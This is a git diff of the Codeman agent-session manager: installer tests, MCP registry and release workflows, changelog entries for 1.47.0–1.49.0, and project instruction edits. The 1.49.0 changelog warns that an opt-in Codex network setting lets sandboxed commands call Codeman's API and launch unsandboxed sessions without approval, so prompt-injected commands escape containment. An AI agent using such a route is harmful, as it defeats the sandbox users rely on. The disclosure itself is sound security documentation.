sums=$(printf "%s node-v22.1.0-linux-x64.tar.gz\nnothex node-v22.1.0-linux-arm64.tar.gz\n" "$sha")
[[ "$(printf "%s\n" "$sums" | pick_node_tarball linux-x64)" == "$sha node-v22.1.0-linux-x64.tar.gz" ]]
if printf "%s\n" "$sums" | pick_node_tarball linux-arm64 >/dev/null; then
echo "accepted a checksum that is not 64 hex digits" >&2; exit 1
fi
for p in linux-x86_64 linux-arm64 macos-arm64 macos-x86_64; do
d=$(tmux_build_sha256 "$p"); [[ ${#d} -eq 64 ]]
done
printf codeman > /tmp/f; good=$(sha256_file /tmp/f); [[ ${#good} -eq 64 ]]
verify_sha256 /tmp/f "$good"
if verify_sha256 /tmp/f "${good%?}x" || verify_sha256 /tmp/f ""; then
echo "accepted a wrong or empty checksum" >&2; exit 1
fi
is_musl_libc
NO_ADMIN=1; NONINTERACTIVE=1
download() { echo DOWNLOADED; }; download_to_stdout() { echo DOWNLOADED; }
check_node() { return 1; }; check_tmux() { return 1; }; check_git() { return 1; }
check_build_tools() { return 0; }
if out=$( (ask_dependencies_no_admin linux) 2>&1 ); then
echo "did not stop on a musl system" >&2; exit 1
fi
case "$out" in
*DOWNLOADED*) echo "downloaded before stopping: $out" >&2; exit 1 ;;
*musl*) ;;
*) echo "stopped for the wrong reason: $out" >&2; exit 1 ;;
esac
# An archive install, then its replacement beside it (busybox tar, bash 3.2).
printf "{ \"version\": \"1.0.0\" }\n" > /tmp/src/Codeman-1/package.json
tar -czf /tmp/one.tar.gz -C /tmp/src Codeman-1
printf "{ \"version\": \"2.0.0\" }\n" > /tmp/src/Codeman-1/package.json
tar -czf /tmp/two.tar.gz -C /tmp/src Codeman-1
INSTALL_DIR=/tmp/h/app; LOG_FILE=/dev/null
download() { cp "${1#file://}" "$2"; }; run_step() { shift; "$@"; }
CODEMAN_TARBALL_URL=file:///tmp/one.tar.gz; install_or_update_repo >/dev/null 2>&1; finish_source_swap
[[ -f "$INSTALL_DIR/$SOURCE_MARKER" && -z "$SOURCE_STAGING" ]]
grep -q 1.0.0 "$INSTALL_DIR/package.json"
touch "$INSTALL_DIR/from-the-old-build"
CODEMAN_TARBALL_URL=file:///tmp/two.tar.gz; install_or_update_repo >/dev/null 2>&1
[[ "$SOURCE_STAGING" == "$INSTALL_DIR.new" ]] && grep -q 1.0.0 "$INSTALL_DIR/package.json"
finish_source_swap
grep -q 2.0.0 "$INSTALL_DIR/package.json"
[[ ! -e "$INSTALL_DIR/from-the-old-build" && ! -e "$INSTALL_DIR.new" && ! -e "$INSTALL_DIR.old" ]]
NO_ADMIN=""; resolve_admin_mode; [[ "$NO_ADMIN" == "0" ]]
echo "bash $BASH_VERSION: no-admin route (checksums, stop before download, archive install and swap) ok"
'
- name: CLI catalogue artifacts are in sync with stock.ts
run: npm run generate:cli-catalog -- --check
+85
View File
@@ -0,0 +1,85 @@
name: Publish to the MCP registry
# The official MCP registry does not follow npm, so every version is published to it.
# Release calls this after npm took a release. To publish the version on master by hand,
# after a failed run for example: gh workflow run publish-mcp.yml
#
# No secret and no browser login: the registry takes this repository's GitHub Actions OIDC
# token as proof of the io.github.Ark0N/ namespace. That id-token right is why this job
# runs nothing from the repository: it reads server.json and runs one pinned binary.
on:
workflow_call:
workflow_dispatch:
permissions:
contents: read
id-token: write
env:
# Bump both together, the digest from the release's asset. Never releases/latest.
MCP_PUBLISHER_VERSION: v1.8.7
MCP_PUBLISHER_SHA256: 00b21004149a4ce66f0782508ae4a2bce67d1bea395a8da0bd8028159fb59579
REGISTRY_VERSIONS_URL: https://registry.modelcontextprotocol.io/v0/servers/io.github.Ark0N%2Fcodeman/versions
jobs:
publish:
name: Publish
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- name: Checkout repo
uses: actions/checkout@v6
with:
persist-credentials: false
# Also what ends a run for a release that only moved xterm-zerolag-input.
- name: Skip a version the registry already has
id: check
run: |
VERSION=$(jq -r .version config/mcp-registry/server.json)
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
STATUS=$(curl -sS -o /dev/null -w '%{http_code}' "$REGISTRY_VERSIONS_URL/$VERSION")
case "$STATUS" in
200) echo "::notice::$VERSION is already in the MCP registry" ;;
404) echo "needed=true" >> "$GITHUB_OUTPUT" ;;
*) echo "::error::The MCP registry answered $STATUS for $VERSION"; exit 1 ;;
esac
# The registry refuses a version npm does not serve yet, and reads mcpName from it.
- name: Wait until npm serves this version
if: steps.check.outputs.needed == 'true'
env:
VERSION: ${{ steps.check.outputs.version }}
run: |
EXPECTED=$(jq -r .name config/mcp-registry/server.json)
for _ in $(seq 1 60); do
FOUND=$(npm view "aicodeman@$VERSION" mcpName 2>/dev/null || true)
[ "$FOUND" = "$EXPECTED" ] && exit 0
sleep 20
done
echo "::error::npm did not serve aicodeman@$VERSION with mcpName $EXPECTED within 20 minutes"
exit 1
- name: Download mcp-publisher
if: steps.check.outputs.needed == 'true'
run: |
ARCHIVE="$RUNNER_TEMP/mcp-publisher.tar.gz"
curl -fsSL -o "$ARCHIVE" "https://github.com/modelcontextprotocol/registry/releases/download/$MCP_PUBLISHER_VERSION/mcp-publisher_linux_amd64.tar.gz"
echo "$MCP_PUBLISHER_SHA256 $ARCHIVE" | sha256sum -c -
tar xzf "$ARCHIVE" -C "$RUNNER_TEMP" mcp-publisher
- name: Publish
if: steps.check.outputs.needed == 'true'
working-directory: config/mcp-registry
run: |
"$RUNNER_TEMP/mcp-publisher" login github-oidc
"$RUNNER_TEMP/mcp-publisher" publish
- name: Confirm the registry lists it as latest
if: steps.check.outputs.needed == 'true'
env:
VERSION: ${{ steps.check.outputs.version }}
run: |
curl -fsS --retry 4 --retry-all-errors "$REGISTRY_VERSIONS_URL/$VERSION" \
| jq -e '._meta["io.modelcontextprotocol.registry/official"].isLatest == true'
+29 -2
View File
@@ -14,6 +14,8 @@ jobs:
permissions:
contents: write
pull-requests: write
outputs:
published: ${{ steps.changesets.outputs.published }}
steps:
- name: Checkout repo
uses: actions/checkout@v6
@@ -60,15 +62,40 @@ jobs:
# 1.9.4 lost it to xterm-zerolag-input@0.1.7 by two seconds. All package
# releases already exist by the time this step runs, so setting it here
# is deterministic.
#
# The title and body are the page people land on from the update toast.
# changesets copied the body from CHANGELOG.md as one long bullet, so it is
# reshaped here (scripts/lib/release-notes.mjs). npm has already published by
# now, so a failure in that must not stop the retag below: without the body
# field the release keeps the text changesets wrote.
RELEASE_ID=$(gh release view "$OLD_TAG" --json databaseId -q .databaseId 2>/dev/null || true)
if [ -n "$RELEASE_ID" ]; then
NOTES_FILE="$RUNNER_TEMP/release-notes.md"
BODY_ARGS=()
if node scripts/generate-release-notes.mjs "$VERSION" > "$NOTES_FILE"; then
BODY_ARGS=(-F "body=@$NOTES_FILE")
else
echo "::warning::Keeping the changesets release notes for $VERSION"
fi
gh api -X PATCH "repos/${{ github.repository }}/releases/${RELEASE_ID}" \
-f tag_name="$NEW_TAG" \
-f name="$NEW_TAG" \
-f make_latest=true
-f name="Codeman ${VERSION}" \
-f make_latest=true \
"${BODY_ARGS[@]}"
fi
# Retag
git tag "$NEW_TAG" "$OLD_TAG" 2>/dev/null || true
git tag -d "$OLD_TAG" 2>/dev/null || true
git push origin "$NEW_TAG" ":refs/tags/$OLD_TAG" 2>/dev/null || true
# Its own job: this one alone holds id-token, and a registry failure shows as itself
# without touching the npm publish or the tag above.
mcp-registry:
name: MCP registry
needs: release
if: needs.release.outputs.published == 'true'
permissions:
contents: read
id-token: write
uses: ./.github/workflows/publish-mcp.yml
+100
View File
@@ -1,5 +1,105 @@
# aicodeman
## 1.49.0
### Minor Changes
- 12024cc: ### Thanks
- @dignfei for letting Codeman open the tmux sessions you started by hand, on this machine, in a container or over ssh (#510).
- @Randalix for the remote launch fix (#770) and the pi wheel fix (#771), both from their own reports (#760, #758), and for Edit history on remote sessions (#766).
- @opticon454 for the New folder button in Create New's picker (#761) and for Clone Repo's parent folder (#774).
- @shenlvkang-collab for a Files panel scan that no longer lets one folder use up the limit (#614).
- @irisitymichaelgrundberg for reporting that the Files panel stayed on the main checkout (#765), and for catching a `.git` open race in the fix.
- @maminmsh for reporting right-to-left text in the Response Viewer (#715).
**Open the tmux sessions you started yourself (#510).** Tmux sessions you started by hand now show up on the home screen under Opened outside Codeman, and one click opens one as a tab, on this machine, in a container or over ssh. Closing the tab only detaches, so the session keeps running. Codeman did not start it, so respawn, Ralph, auto-clear, one-shot prompts and prompt uploads are refused for it, and when the session ends the tab lets go of it. Adoption is admin-only in multi-user mode. The scan runs only while the home screen is in a visible tab. Close adopted tabs before going back to 1.48.0 or older: an older server does not know a tab is adopted and drops all of those guards.
**Install without administrator rights (#768).** The installer can now finish on an account without admin rights: Node.js and tmux go in your home folder, the source comes as an archive when no working git is available, and `--no-admin` forces this route. An install without git updates by re-running the install line, and Linux still needs make, a C++ compiler and python3.
**Docker Compose starts in two commands (#573).** `bash docker/Start-Codeman.sh` asks three questions, writes `docker/.env`, starts the container and prints the URL once Codeman answers. It now waits for the server and exits 1 if it does not come up (`--no-wait` skips that). Behaviour change: `Start-Codeman.sh` and `Update-Codeman.sh` refuse to run while `CODEMAN_PASSWORD` is still the example value `changeme`, so a deployment on that value has to set a real password before its next restart.
**Codex sessions can drive other sessions (#753).** A new opt-in setting, **Allow network access** (App Settings, Codex, off by default), starts new local Codex sessions with `sandbox_workspace_write.network_access=true`, so the Codeman skill's calls reach this server. It has a real cost: commands in Codex's sandbox can then call Codeman's API, which can start a session outside the sandbox with no approval prompt, even with a password set, so the sandbox no longer contains a prompt-injected command. It is forced off without the privileged-commands grant in multi-user mode, scheduled jobs do not use it, and it does not change Codex's sandbox mode. A local Codex 0.162 or later also starts with `--no-daemon`, so a shared background server no longer stops a launch on an "incompatible feature settings" dialog, and commands inside Codex see their own session's `CODEMAN_*` variables. Version gates in the CLI registry are now measured against each CLI's own version.
**Persian, Arabic and Hebrew read right to left (#715).** In the Response Viewer and the File Viewer's markdown view, each paragraph, heading, list, quote and table takes its direction from its own first letter, so a right-to-left answer lines up on the right while an English paragraph beside it stays left to right. Code blocks, inline code and the file paths the viewer links on its own stay left to right and no longer decide a sentence's direction. The phone's Compose dialog does the same. The terminal pane is unchanged: xterm.js has no right-to-left support yet (xtermjs/xterm.js#701).
**Edit history for remote sessions (#766).** The Edit history panel now works for remote (SSH) Claude sessions. It reads transcripts over ssh only while the panel is open, keeps the diffs in the same private local store and never wakes a sleeping host. An unreachable host shows the saved edits with the ssh error, and images preview on click rather than as thumbnails.
**The Files panel follows the agent into a git worktree (#772, #765).** When an agent moves into a worktree part way through a session, the panel lists that worktree, follows the agent back out and shows a strip that names it, with a button to switch to the session's folder. Only a worktree inside the session's folder is followed, and file access stays confined to that folder.
**One big folder no longer hides the rest (#614).** The Files panel and its search now walk folders in a per-directory round-robin, so one large folder no longer uses up the 5,000-entry limit, and search results come back shallow-first. One listing stops opening folders after reading 250,000 entries. A folder the scan stopped short of, or one that did not answer, no longer looks empty: `GET /api/sessions/:id/files` marks it `incomplete: true` (additive), sets `truncated`, and the panel shows a dim "Not fully scanned" row.
**Fixes.**
- **Remote sessions start when the remote home differs (#770, #760).** New sessions no longer die with `tmux: command not found` (exit 127). The launch line reached the local shell in double quotes, so `$HOME` and `$PATH` expanded on the Codeman host before ssh ran. Launches now reach the far end verbatim, and a remote session starts in the remote user's own shell. Behaviour changes: in a per-host `commands.*` override, `$` now expands on the far end; a bare `$VAR` in a Docker `extraCreateArgs`/`extraExecArgs` value or a remote host's `extraSshOptions` is passed literally, so write the value out. `commands.omp` and `commands.copilot` are accepted now, like every other mode. A csh or tcsh login shell starts without `-i -l`, which tcsh refuses, so it reads `.tcshrc` and not `.login`.
- **Remote file reads work on fish, csh and tcsh hosts.** The Files panel, previews and Edit history failed on those login shells, because their reads were parsed by the login shell before `sh` saw them. Every remote file read now crosses it as one word of text. This also ends a case where a file name holding shell syntax ran as a command on those hosts, as the same ssh user the agent runs as.
- **The pi mouse wheel survives a tab switch or reload (#771, #758).** pi now takes the same path as Copilot: the server strips the mouse enables and remembers them, and the wheel is forwarded from that record, on the primary pane, tiles, split Pane B and phones. A drag in fullscreen pi now selects text in the browser instead of using pi's own selection, and with Wheel Scrolls Local History on the wheel does nothing there. A pi in `tuiMode: regular` is unaffected.
- **Clone Repo's custom folder is a parent now (#774).** The repository lands in `<folder>/<case name>`, as it does with Create New, and the preview shows the joined path. Behaviour change: 1.48.0 cloned straight into the folder you picked, so a name the case-name rule refuses, such as `/mnt/my.repo`, can no longer be reached from the tab. `path` on `POST /api/cases/clone` stays the exact target for scripts and mount points.
- **New folder in the Create New and Clone Repo pickers (#761).** You can make the parent folder without leaving the dialog. Asking for one directly in the cases folder is refused, and the refusal points at the right tab.
- **Linked cases hold up under concurrent writes (#764).** Every write to `linked-cases.json` is serialized, so two requests can no longer claim one name or lose each other's entry, and a damaged file is refused with a clear error instead of being overwritten, which used to unlink every other case. A local case's rename racing a new link is not covered.
- **A session keeps its own home and account variables (#767).** A session that set `CLAUDE_CONFIG_DIR`, `DSH_HOME` or the like keeps it when a custom endpoint selection is cleared or switched, also after a Codeman restart. With its own `CLAUDE_CONFIG_DIR` it keeps both its conversation and its account.
**Fixes applied while landing.** An adopted session never falls back to a direct terminal when its wrapper cannot start, which would have run a local agent in `/tmp` (#510). Output from a foreign pane, container or ssh host is parsed in linear time, so it cannot stall the server (#510). A `.git` swapped for a FIFO or a symlink is refused at open (#772). A folder listing that does not answer is flagged instead of shown as empty (#614).
**Docs and tests.** Adoption, the no-admin install, the Compose first run and the new remote shell rows in the guides, wiki and READMEs, new zh-CN strings for the Allow network access warning, and the Playwright bump to 1.64.1 with the browser suite unpinned.
## 1.48.0
### Minor Changes
- 4960bee: ### Thanks
- @opticon454 for a big round: the two-way Discord bridge (#741), custom endpoint context limits, Codex and DeepSeek model selection and the model picker (#752, #755, #757), Clone Repo into a custom folder (#744), the New folder button (#745), and the wrapped `.conf` file links (#735).
- @Randalix for the Edit history panel (#693).
- @aakhter for relative links that follow your `cd` (#740).
- @JDProfresh for settings saves that say when they failed (#736), a visible press on the phone keys (#737), and two test harness fixes (#738, #742).
- @timkjr for a tab strip that keeps its shape whichever tab is selected (#748).
- @Hugo-DDT for the parallel fix to the same wrapped file link bug (#734), whose `Bash(` test rows landed with the guard below.
**Talk to your agents from Discord (#741).** An opt-in two-way bridge gives each tab its own thread: alerts go out, and a reply from an allowlisted account is typed into that tab. An agent that needs a person can run `codeman notify "<message>" [--urgent] [--file <path>]`, and files travel both ways. Claude learns the command through its system prompt. Setup is in `docs/discord-bridge.md`.
**Edit history panel (#693).** An opt-in header button (per device, off by default, never on phones) shows every Edit and Write a local Claude session made, subagents included, with each diff inline, plus the images a Bash call produced. It reads transcripts only when the panel asks, and keeps its 0600 per-session store only as long as the session's record.
**Custom endpoints go further (#752, #755, #757).** OpenCode and Codex now receive the endpoint's context window, Codex launches on the model you picked, and endpoint discovery reads each model's context size from `/v1/models`, with a per-endpoint default for gateways that state none. DeepSeek Harness moves to a per-session home with a generated patch, so it runs the exact model you chose. The model picker gained a search box and marks the model one of your running sessions is using on an endpoint that cannot report it, or says plainly that nothing is known.
**Clone into a custom folder, and make a folder from the picker (#744, #745).** Clone Repo can clone straight into a folder you pick, empty or not yet created, and registers it as a linked case. The path picker in Link Existing gained a New folder button, so a brand-new project folder no longer means a trip to a shell.
**Relative links follow your `cd` (#740).** A relative path printed in the terminal now resolves against the directory the session's pane is in, not the folder the session started in. Only the base changes: what can be opened is the same as before. Session state carries it as the new optional `paneCwd` field.
**Fixes.**
- **File links keep the whole name (#735).** `.conf` files and parenthesised paths with spaces link as one file in the terminal and the Response Viewer, and a path wrapped over several rows stays clickable from every row. An ambiguous hard wrap tries the unspaced name first and looks up the spaced one only after a 404, on click, never on hover.
- **A failed settings save says so (#736).** Any write the server did not store now reports the reason and keeps App Settings open, where only two kinds of refusal did before. Run mode and respawn preset writes warn too, and a failed tunnel stop no longer claims the tunnel stopped.
- **Phone keys show a press (#737).** Every toolbar button, the voice, attach and settings icons and the accessory keys now react on all seven skins.
- **The L-shaped tab strip holds its shape (#748).** A too-wide first tab is trimmed to the room beside the toolbar, so the layout no longer changes with the selected tab.
- **Credential files stay out of the attachment routes.** `webhook.json`, `custom-model-hosts.json`, the generated custom-model configs and everything under `backups/` could still be read through the attachment routes, which in multi-user mode means by any user. A config backup was the widest gap, since it holds copies of `users.json` and `settings.json`. A custom `configBackupDir` is outside what the blocklist can name, so keep that folder out of reach of other users.
- **The OpenCode Console breach notice is retired.** A new install has no record of having seen it, so every new OpenCode user was still being warned about an October incident.
**Fixes applied while landing.** `codeman notify --file` refuses a credential file such as `.env` or a key under `.ssh`, even inside the tab's own folder, and the Discord bot token cannot be read through the attachment routes (#741). A very wide table cell in an agent's last message no longer stalls the server, and a file sent from Discord is no longer reported as something the agent produced (#741). A `Bash(` row keeps its links, because it holds a command rather than a path, while `Read(` and `Update(` rows link a spaced name whole (#735). A model id the CLI cannot launch is refused before anyone is asked to evict a loaded model, on both the swap route and quick-start (#752). A cases-folder refusal in Clone Repo now points at Clone Repo, and OpenSSL's `SSL_connect` errors classify as unreachable again (#744). Abandoning a tunnel enable records the settings baseline (#736). A session's unreachable `DSH_HOME` is logged when the server's home is linked instead (#755). Clone Repo and New folder no longer risk a hang on a mount that stopped answering (#744, #745).
**Docs and tests.** Discord setup guide and wiki page, the Edit history and `paneCwd` API sections, the custom endpoint guide, and the architecture notes for the new subsystems. Two Docker and TUI test harnesses now pass under a root runner and on tmux 3.2a (#738, #742).
## 1.47.0
### Minor Changes
- 1ab01bb: ### Thanks
- @timkjr for five PRs: a wrapped tab strip that uses the space under the toolbar (#721), three fixes that stop Codeman reading and watching a remote session's folder on the local disk (#722, #727, #728), and a quieter build (#729).
- @kdxcxs for bodyless requests that work through Cloudflare Tunnel (#725), traced through a real Access + Tunnel hostname.
- @Hugo-DDT for a desktop dead key typed once and a Ctrl+V that stays a paste after a replay (#726), and @hedburgaren for reporting both in #716.
- @opticon454 for rendered Markdown that fills a resized File Viewer (#730).
- @JDProfresh for a middle click on a file path that opens the file (#731).
**The wrapped tab strip uses the room under the toolbar (#721).** When the classic header strip wraps onto more rows (automatically, or with the two-rows setting), only the rows beside the toolbar stop short of it now; every row below runs the full header width, so long tab names no longer end up one per row. A strip that fits on one row looks exactly as before, and a strip tall enough to scroll keeps the plain wrap.
**Fixes.**
- **Bodyless requests work through Cloudflare Tunnel (#725).** cloudflared forwards a POST with no body as an empty chunked request with no Content-Type, which the server refused with `415` before the route ran, so actions such as opening a saved web tab failed through a tunnel. An empty, untyped POST under `/api/` now reaches its route exactly like a `Content-Length: 0` one; anything with a body or another method is still refused as before.
- **A desktop dead key is typed once, and Ctrl+V stays a paste after a replay (#726, #716).** The soft-keyboard recovery for Android IMEs now stays off on a desktop (a fine pointer that is not Android), so a dead-key backtick no longer arrives twice. Plain-text Ctrl+V is now framed as a bracketed paste by Codeman itself, because xterm stops adding the markers once a terminal replay clears its paste mode, and a copied newline then submitted the prompt. The paste still scrolls to the bottom and clears the selection, in the main pane, grid tiles and the split pane.
- **Remote sessions no longer touch the local disk at their path (#722, #727, #728).** A remote (SSH) session's folder is a path on the remote host, but the Ralph `@fix_plan.md` watcher and the image watcher watched it on this machine (logging `ENOENT` at every start, or watching an unrelated local folder of the same name), and the Ralph file routes read and wrote it locally. Both watchers now skip remote sessions (the Session Options image-watcher switch is hidden there), the Ralph menu's **Import from File** reads `@fix_plan.md` on the remote host over the same ssh path the File Viewer uses, and **Write to File** (and the `@ralph_prompt.md` write) is refused for a remote session instead of landing in a local folder.
- **Rendered Markdown fills a resized File Viewer (#730).** The document kept a fixed 960px column from before the window could be resized, so it stopped reflowing once you dragged or expanded the window past it.
- **A middle click on a file path opens the file (#731).** In the Response Viewer and the File Viewer's rendered Markdown, a middle click on a file path or an in-document link opened the dashboard root in a new tab. It now does what a left click does; real web links keep the browser's own middle click.
- **No more duplicate-key warning on build (#729).** The Chinese translation table carried `Idle` twice.
**Fixes applied while landing.** A remote session's fix plan stays authoritative as it is for a local one, so a prose line such as "All tasks completed" cannot mark every todo done and end a remote Ralph loop when it cannot end a local one (#722). The Session Options image-watcher switch flips back and says so when the server refuses the change, instead of reporting success (#727). The remote `@fix_plan.md` read uses the File Viewer's own containment check rather than a copy of it (#728). ASCII-diagram blocks in the File Viewer's rendered Markdown follow the window instead of staying 720px wide (#730). A paste marker hidden inside another one (`ESC[20` + `ESC[201~` + `1~`) can no longer survive the strip and end the bracketed paste early, in Ctrl+V and in the phone composer alike, and an Android device with a mouse, a trackpad cover or a stylus keeps the soft-keyboard fixes, which turned off there because Chromium reports such a pointer as fine (#726).
**Docs and tests.** The L-shaped strip in the frontend notes and the architecture notes, the remote-session rows for the Ralph file routes and the two watchers in the remote-sessions guide and the architecture notes, and an overview of the empty-POST parser in its module.
## 1.46.0
### Minor Changes
+28 -17
View File
@@ -52,7 +52,7 @@ Uses [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`) via `@chan
When the user says **COM** (`COM` = patch, `COM minor`, `COM major`): **Read [`docs/releasing.md`](docs/releasing.md) and follow every step in order**; never improvise a release from memory. It covers the changeset, `npm run version-packages`, the `**Version**` line below, the branch check and explicit-path commit, deploy, the getcodeman.com badge, watching BOTH CI workflows, the MCP registry publish, and the Discussions announcement.
**Version**: 1.46.0 (must match `package.json`)
**Version**: 1.49.0 (must match `package.json`)
## Project Overview
@@ -103,7 +103,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
- **Default bind is loopback-only; non-loopback without a password starts but warns** — the server defaults to `--host 127.0.0.1`. Binding non-loopback (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` starts anyway but prints a loud warning; `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges it. ⚠️ The production systemd unit passes no `--host`, so prod binds **localhost only**: reach it via `tailscale serve`/tunnel to `127.0.0.1`. A loopback bind is reachable through a same-host tunnel but NOT by a browser hitting the box's LAN IP. `install.sh` is separate and prompts for the binding (defaulting to LAN + a password), and preserves the existing binding on re-runs. → [architecture-invariants#default-bind-and-the-non-loopback-warning-path](docs/architecture-invariants.md#default-bind-and-the-non-loopback-warning-path), `docs/security-architecture.md`
- **Instance isolation / multi-instance attach danger** — the data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts`. ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions**, resizing and mutating them. `$HOME` isolation is NOT enough because tmux is system-global. To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes dir + socket together), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually; `scripts/run-beta.sh` does this for a beta alongside prod. **Any new `~/.codeman/...` path MUST go through `dataPath()`**, never `join(homedir(), '.codeman', …)`, and **any new `tmux -L` caller through `resolveTmuxSocketName()`** (both in `config/instance.ts`): the TUI shells out to tmux from a second process, and a hardcoded `codeman` there would point a beta instance at prod's panes. → [architecture-invariants#instance-isolation-and-the-multi-instance-attach-danger](docs/architecture-invariants.md#instance-isolation-and-the-multi-instance-attach-danger)
- **The prefix table on Codeman's socket holds only `<prefix> send-prefix`** — browser tabs are tmux attach clients, and tmux's stock bindings let Ctrl+B `)`/`s` move a tab onto another session. `createSession` resets the table, and `reconcileSessions()` at boot for sessions that survived an upgrade (`src/tmux-prefix-table.ts`); `root` and `C-<letter> detach-client` (the TUI attach's way out) are left alone, so F1 and that alias reach browser tabs for the length of an attach. Alt+1..9 are `if-shell` bindings that `switch-client` only for the TUI's own client (`client_tty` plus a one-shot pid hook), so a browser tab's Esc-then-digit does not move it. Docker and owned-remote nested servers get the same reduction (`C-q send-prefix` only) in their create chain. ⚠️ So `Ctrl+B d` does not exist there: anything attaching a user's terminal claims its own detach key (F1 in `root`, as `codeman tui` and `scripts/tmux-manager.sh` do). → [architecture-invariants#the-prefix-table-on-codemans-socket-holds-only-send-prefix](docs/architecture-invariants.md#the-prefix-table-on-codemans-socket-holds-only-send-prefix)
- **node-pty's macOS `spawn-helper` ships without `+x`** (issues #6, #204): `node-pty@1.1.0` publishes `prebuilds/darwin-<arch>/spawn-helper` as mode 0644, and macOS launches every PTY through it, so a stock macOS install fails every session start with `Error: posix_spawnp failed.` **Linux can never reproduce it**: `spawn-helper` is an `OS=="mac"` gyp target and node-pty ships no Linux prebuild, so node-gyp always emits an executable helper there. ⚠️ The flip side of that: since Linux has no prebuild, `npm install` **needs a C/C++ toolchain there** (`make`, `g++`, `python3`), so `install.sh` checks for and installs one alongside Node/tmux/git — a stock Ubuntu 24 server has none and died inside node-gyp with `not found: make`. Do not drop that step. ⚠️ Look in **`prebuilds/<platform>-<arch>/`**, not just `build/Release/`, which does not exist on macOS. Repair is a chmod, never a mandatory rebuild (that would require Xcode CLI tools and deletes `prebuilds/` before compiling): `npm run fix:node-pty` chmods every helper then proves it by really opening a PTY. `spawnPtyWithHelperRepair()` (`utils/node-pty-repair.ts`) wraps every `pty.spawn()` in `session.ts` and self-heals a broken install on the first failure. → [architecture-invariants#node-ptys-macos-spawn-helper-must-be-executable](docs/architecture-invariants.md#node-ptys-macos-spawn-helper-must-be-executable)
- **node-pty's macOS `spawn-helper` ships without `+x`** (issues #6, #204): `node-pty@1.1.0` publishes `prebuilds/darwin-<arch>/spawn-helper` as mode 0644, and macOS launches every PTY through it, so a stock macOS install fails every session start with `Error: posix_spawnp failed.` **Linux can never reproduce it**: `spawn-helper` is an `OS=="mac"` gyp target and node-pty ships no Linux prebuild, so node-gyp always emits an executable helper there. ⚠️ The flip side of that: since Linux has no prebuild, `npm install` **needs a C/C++ toolchain there** (`make`, `g++`, `python3`), so `install.sh` checks for and installs one alongside Node/tmux/git — a stock Ubuntu 24 server has none and died inside node-gyp with `not found: make`. Do not drop that step. (The installer's no-admin route cannot install one, so there it stops before downloading anything and names what is missing.) ⚠️ Look in **`prebuilds/<platform>-<arch>/`**, not just `build/Release/`, which does not exist on macOS. Repair is a chmod, never a mandatory rebuild (that would require Xcode CLI tools and deletes `prebuilds/` before compiling): `npm run fix:node-pty` chmods every helper then proves it by really opening a PTY. `spawnPtyWithHelperRepair()` (`utils/node-pty-repair.ts`) wraps every `pty.spawn()` in `session.ts` and self-heals a broken install on the first failure. → [architecture-invariants#node-ptys-macos-spawn-helper-must-be-executable](docs/architecture-invariants.md#node-ptys-macos-spawn-helper-must-be-executable)
- **Never start `git` without `gitSpawnAllowed()`** (`utils/git-availability.ts`): on a Mac without the developer tools `/usr/bin/git` is Apple's placeholder, and running it, even as `git --version`, opens macOS's "install the command line developer tools" window. The server did that on the first page load after a no-admin install (`isGitAvailable()` from `renderIndexHtml`) and would have again at every start. The gate resolves `git` on the PATH itself and, for the placeholder, proves the tools first with `xcode-select -p`, which never opens a window; a refusal is answered as ENOENT (`gitMissingError()`), which every caller already reads as "git is not installed". `test/git-spawn-gate.test.ts` pins the list of spawn sites, so a new one fails until it is gated. `install.sh` follows the same rule for the same reason.
- **User-chosen paths are probed BOUNDED, never with `existsSync`/`statSync`** (#516): a linked case or a `workingDir` can sit on a network mount that stopped answering. A synchronous check there freezes the whole server, and an unbounded async `stat`/`lstat`/`readFile` holds one of libuv's threadpool workers (4 by default, shared with every `fs`, `dns.lookup` and `crypto` call) until the mount returns. On a request or spawn path use `probePath()`/`probePathKind()` (`utils/bounded-path-probe.ts`, read its `@fileoverview`). ⚠️ `unknown` is NEVER `absent`: nothing is created, scaffolded or 404'd on it. Bulk scans keep the stall cap; a request for ONE path the user named may pass `{ pastCap: true }`, which still stops at the ceiling that keeps one worker free; and a helper that would otherwise touch the path skips whatever is still `unknown`. User-facing errors for it go through `describeUnknownPath()`, so a refused probe is not reported as a broken folder.
- **Headless screenshots: `deviceScaleFactor` MUST be 1, and write unique filenames** — under DSF=2 xterm's WebGL renderer draws glyphs at ~2× nominal size while still *reporting* nominal cell dims, so only the pixels reveal it and only the terminal font looks wrong. And overwriting a fixed output path leaves OS image viewers showing the old render, which reads as "the fix didn't work"; `scripts/capture-real-overview.mjs` mints a timestamped filename per run. Seed the per-device `localStorage` keys (`codeman:skin`, `codeman-font-size`, `codeman-app-settings`) so the capture matches a real device. → [architecture-invariants#headless-screenshot-capture](docs/architecture-invariants.md#headless-screenshot-capture)
@@ -127,10 +128,12 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Input**: `session.writeViaMux()` for programmatic/curl input via one tmux bracketed paste (`paste-buffer -p`) + `send-keys Enter`; a multi-line prompt keeps its line breaks inside that paste. A single character is typed with `send-keys -l` instead, because selection dialogs ignore a pasted digit. Interactive **browser** input goes through a durable **exactly-once** layer: a stable `clientId` + monotonic per-session `seq` persisted to localStorage until the server ACKs, so a dropped link cannot lose or double-deliver a prompt. `ws-connection-registry.ts` supersedes only same-TAB reconnects, so two tabs on one session coexist. → [architecture-invariants#input-delivery-and-ws-resilience](docs/architecture-invariants.md#input-delivery-and-ws-resilience)
